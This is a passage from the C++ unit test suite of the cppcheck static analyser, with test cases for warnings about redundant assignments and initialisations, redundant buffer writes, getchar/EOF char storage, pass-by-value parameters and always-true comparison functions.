u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) 